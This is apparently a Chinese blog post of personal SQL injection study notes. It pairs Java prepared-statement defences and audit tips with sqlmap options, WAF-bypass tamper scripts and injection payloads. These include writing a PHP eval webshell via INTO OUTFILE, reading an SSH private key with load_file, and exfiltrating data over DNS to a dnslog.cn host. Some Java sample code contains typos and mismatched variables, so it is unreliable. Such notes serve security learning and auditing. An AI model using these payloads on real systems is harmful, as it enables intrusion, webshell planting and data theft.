漏洞学习

温故而知新之sql注入

回想起我刚学sql注入的时候 好像是大一的时候

打sqllab也没记一些内容 现在刚好学了java代审 开始重新记录一下有关sql注入的内容

sql注入

sql注入的成因是由于sql语句中的参数可控 并且在代码中直接拼接参数 导致传入的参数值直接作为sql语句的标识符拼接到sql语句中 导致在执行正常sql语句的同时又去执行了其他的恶意语句

sql注入的防御

最有用的就是预编译

预编译实际上发送sql语句 让数据库将该sql语句变成一个固定模板 占位符的位置之后只会插入标识符 从效果上来看就是让参数的值变成一段字面量 使得一些特殊符号在sql语句中失去了原来的意义 注入攻击也就失去意义了

1
2
3
4
//不安全
String sql1 = "select username,password from User where username =  '" + username + "' and password = '" + password + "' limit 0,1";
Statement statement = con.createStatement();
ResultSet resultSet = statement.executeQuery(sql1);

上述java代码没有使用预编译 导致存在sql注入 如果传入的username和password是恶意参数就可能会导致sql注入

1
2
3
4
5
6
7
8
//安全
//设置占位符
String sql1 = "select username,password from User where username = ? and password = ?+ limit 0,1"; 
//进行预编译
PreparedStatement preparedStatement = con.prepareStatement(sql2);
preparedStatement.setString(1, username);
preparedStatement.setString(2,password);
ResultSet resultSet1 = preparedStatement.executeQuery();

我们使用预编译的时候 sql语句中的参数位置换成?后面要将这个占位符替换为具体的参数值

此时executeQuery方法要使用无参方法

动态查表 列或者排序的的时候 要使用数据库中的标识符比如表名和列名 或者排序符号的不能进行预编译会报错

这个时候只能拼接参数 因此需要搞一个黑/白名单 过滤掉一些恶意参数

1
2
3
4
5
6
7
8
String sql2 = "select " + column + " from users";
String[] whitelist = new String[]{"users","id"};
int a = 0;
for(String var:whilelist) {
    if(column.equals(var)){
        a = 1;
    }
}

现在都是直接使用mybatis 简化数据库的使用

mybatis有2种占位符 ${} #{} 前者不会预编译 后者会 其他的就基本和上述情况一样了

审计思路

全局搜索

1
2
3
4
5
6
executeQuery
createQuery
createStatement
setString
prepareStatement
${}

判断使用的是什么orm框架 mybait Hibernate JPA

判断是否正确进行预编译 setString setObject #{}

判断是否直接拼接参数

重点查看order by排序，动态列名/表名，like模糊查询，in查询 这些不能进行预编译的查询语句

sqlmap常用参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
-u #指定url
-r #使用响应包
-p #指定注入点
--level 1 #指定等级
--risk 2 #指定风险
sqlmap.py -u "http://127.0.0.1/?id=1" -p id --level 5
sqlmap.py -r "request.txt" -p username

--dbms=数据库 #指定数据库类型
--technique=注入类型 #指定注入类型

--dbs #枚举所有数据库
-D #指定数据库
--tables #枚举所有表名
-T #指定表
--columns #枚举所有列名
-C #指定列
--dump #枚举当前表的数据
--batch #所有问题都默认为 yes

--os-shell #尝试写shell
--sql-shell #执行指定sql语句
--file-read #读文件
--file-write #写文件

--tamper=脚本 #指定绕过脚本


--hh #查看所有参数

technique= 注入类型

代码 注入技术 说明
B Boolean-based blind 布尔盲注：根据页面返回内容的差异判断真假
E Error-based 报错注入：利用数据库返回的错误信息获取数据
U UNION query 联合查询注入：使用 UNION 关键字获取其他数据
S Stacked queries 堆叠查询注入：可执行多条SQL语句，常用于执行命令
T Time-based blind 时间盲注：根据页面响应的延迟时间判断条件真假
Q Inline queries 内联查询注入：将子查询直接注入到原始查询中

常用绕过技术

附上一个师傅总结的绕过脚本分析sqlmap中tamper的用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
1、apostrophemask.py
适用数据库：ALL

作用：将引号替换为utf-8，用于过滤单引号

使用脚本前：tamper("1 AND '1'='1")

使用脚本后：1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

2、base64encode.py
适用数据库：ALL

作用：替换base64 编码

使用脚本前：tamper("1' AND SLEEP(5)#")

使用脚本后：MScgQU5EIFNMRUVQKDUpIw==

3、multiplespaces.py
适用数据库：ALL

作用：围绕sql关键字添加多个空格

使用脚本前：tamper('1 UNION SELECT  foobar')

使用脚本后：1 UNION SELECT foobar

4、space2plus.py
适用数据库：ALL

作用:用加号替换空格

使用脚本前：tamper('SELECT id FROM users')

使用脚本后：SELECT+id+FROM+users

5、space2randomblank.py
适用数据库：ALL

作用：将空格替换为其他随机有效字符

使用脚本前：tamper('SELECT id FROM users')

使用脚本后：SELECT%0Did%0CFROM%0Ausers

6、unionalltounion.py
适用数据库：ALL

作用：将union all select 替换为union select

使用脚本前：tamper('-1 UNION ALL SELECT')

使用脚本后：-1 UNION SELECT

7、space2dash.py
适用数据库：ALL

作用：将空格替换为破折号（--），并添加一个随机字符和换行符（\n）

使用脚本前：tamper('1 AND 9227=9227')

适用脚本后：1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227

8、space2mssqlblank.py
适用数据库：mssql

测试数据库版本：Microsoft SQL Server  2000 、Microsoft SQL Server 2005

作用：将空格替换为有效字符集的随机空白字符('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')

使用脚本前：tamper('SELECT id FROM users')

适用脚本后：SELECT%0Did%0DFROM%04users

9、between.py
测试数据库：Microsoft SQL Server 2005 、MySQL 4, 5.0 and 5.5、 Oracle  10g、 PostgreSQL 8.3, 8.4, 9.0

作用：将">"替换为"NOT BETWEEN 0 AND #"，将"="替换为"BETWEEN # AND #"

使用脚本前：tamper('1 AND A > B--')，tamper('1 AND A = B--')

使用脚本后：1 AND A NOT BETWEEN 0 AND B--，1 AND A BETWEEN B AND B--

10、percentage.py
适用数据库：ASP

测试数据库：Microsoft SQL Server 2000, 2005 、MySQL 5.1.56, 5.5.11 、PostgreSQL  9.0

作用：在每个字符前加上一个%

使用脚本前：tamper('SELECT FIELD FROM TABLE')

使用脚本后：%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

11、sp_password.py
适用数据库：mssql

作用：将sp_password追加到有效载荷后，以便从DBMS日志中自动混淆。

使用脚本前：tamper('1 AND 9227=9227-- ')

使用脚本后：1 AND 9227=9227-- sp_password

12、charencode.py
测试数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用：对指定的payload全部使用url编码（不处理已进行编码的字符）

使用脚本前：tamper('SELECT FIELD FROM%20TABLE')

使用脚本后：%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

13、randomcase.py
测试数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0、SQLite  3

作用：将字符替换为随机大小写

使用脚本前：tamper('INSERT ')

使用脚本后：InSeRt

14、charunicodeencode.py
适用数据库：ASP 、ASP.NET

测试数据库：Microsoft SQL Server 2000 、Microsoft SQL Server 2005、MySQL 5.1.56 、PostgreSQL 9.0.3

作用：适用字符串 的Unicode编码

使用脚本前：tamper('SELECT FIELD%20FROM TABLE')

使用脚本后：%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

15、space2comment.py
测试数据库：Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用：将空格替换为/**/

使用脚本前：tamper('SELECT id FROM users')

使用脚本后：SELECT/**/id/**/FROM/**/users

常见sql注入类型

先贴一些师傅的巨详细总结

SQL注入一命通关!

SQL 注入总结

对MYSQL注入相关内容及部分Trick的归类小结

联合注入

使用union语句 可以拼接输出后续内容

在使用联合注入的时候需要注意字段的个数应该要相同

1
1' union select 1,2,3%23

报错注入

updatexml 常用

1
updatexml(1,concat(0x7e,database(),0x7e),1)%23

extractvalue 常用

1
extractvalue(1,concat(0x7e,database(),0x7e))%23

上述2个都是通过xpath路径报错来回显的

xpath就是xml文件中文档的路径

其他的还有数据溢出

exp

floor

但是大多都有特定限制条件 具体可以看看上面师傅的文章的详细总结

盲注

个人觉得最好用的就是用异或符号^

1
1'^1%23

也可以使用延时注入

1
2
1'and(if(1=1,sleep(3),0))%23
1'and(if(1=1,benchmark(100000,md5(58951))))

堆叠注入

没有限制查询次数 可能使用了某些可以多次查询的函数

1
1';select database()%23

sql注入写shell

可以写入条件:

  1. 存在sql注入
  2. 知道绝对路径 且有写入权限
  3. secure_file_priv没有具体值（secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。）
1
2
3
4
5
6
7
8
9
10
11
12
#联合注入写入
' union select 1,'<?php eval(@POST[1])?>',3 into outfile 'D:/phpStudy/PHPTutorial/WWW/eval.php' %23

#lines terminated by写入
1' into outfile 'D:/phpStudy/PHPTutorial/WWW/eval231.php' lines terminated by '<?php phpinfo();?>'%23

lines starting by 写入
1' into outfile 'D:/phpStudy/PHPTutorial/WWW/eval231.php' lines starting by '<?php phpinfo();?>'%23

fields terminated by 写入  
1' into outfile 'D:/phpStudy/PHPTutorial/WWW/eval231.php' fields terminated by '<?php phpinfo();?>'%23

sql注入读文件

1
2
#load_file
'union select 1,load_file('C:/Users/sakuya/.ssh/id_rsa'),2%23

dns外代注入

条件

  1. secure_file_priv没有具体值
  2. 数据库用户有file权限 （一般只要是root就可以）
  3. 必须是window主机

load_file()里面的地址必须以//开头

window提供unc路径 统一命名路径

//服务名/共享文件夹/路径 有点像smb服务的共享文件

1
1' union select load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt'));

limit注入

在Limit后面，我们还可以用 procedure analyse()这个子查询，而且只能用extractvalue 和 benchmark 函数进行延时，不过这种语法是有前提条件的，就是5.0.0< MySQL <5.6.6版本

1
2
select id from test where id >0 order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(635000,SHA1(1)),1))))),1)

BENCHMARK(635000,SHA1(1)) 计算sha(1) 635000次 实现延迟注入 差不多就是1秒

无列名注入

字符比较

1
'and (select 1,1) > (select * from flag)%23

多次尝试爆破出字段名

列名取别名

1
2
3
4
select 1,2 from (select * from flag)a;
select `1` from flag;

select group_concat(c) from (select 1 as a,2 as b,3 as c,4 as d,5 as e,6 as f,7 as g,8 as h union select * from users)a;

bypass

ctf题比较常见 waf里面也可能比较常见

空格绕过

注释绕过 

1
/**/

加号绕过+

url绕过 %20 %0b %0a 空字符即可

括号绕过（最好用的）

引号绕过

使用反斜杠\注释内部sql语句中的引号

使用16进制编码 解决表名/列名

逗号绕过

使用from for语句 

1
substr(database(),1,1) == substr(database() from 1 for 1)

join 连接

1
select (select 1)a join (select 2)b from flag

like绕过

比较符号绕过

between and 绕过

等号绕过

like rlike in

<>绕过

注释符绕过

手动闭合引号 

1
'1'='1

内联绕过

还记得第三届长城杯有个ai的sql注入

当时死活打不出来

后面发现要这么写才能绕过

1
/*!50000 union*/
1
/*!版本号 sql语句*/

我猜/*!*/可能给限制了

所以得要用这个条件注释 mysql版本大于等于5.0.0 这个才能生效

SQL注入 in java

总结一下

sql注入类型倒是很简单的总结了一下 主要是修复部分

感觉业务里面能碰到的最多是盲注类型

不会的内容还是得多看多学

说些什么吧！

gitalk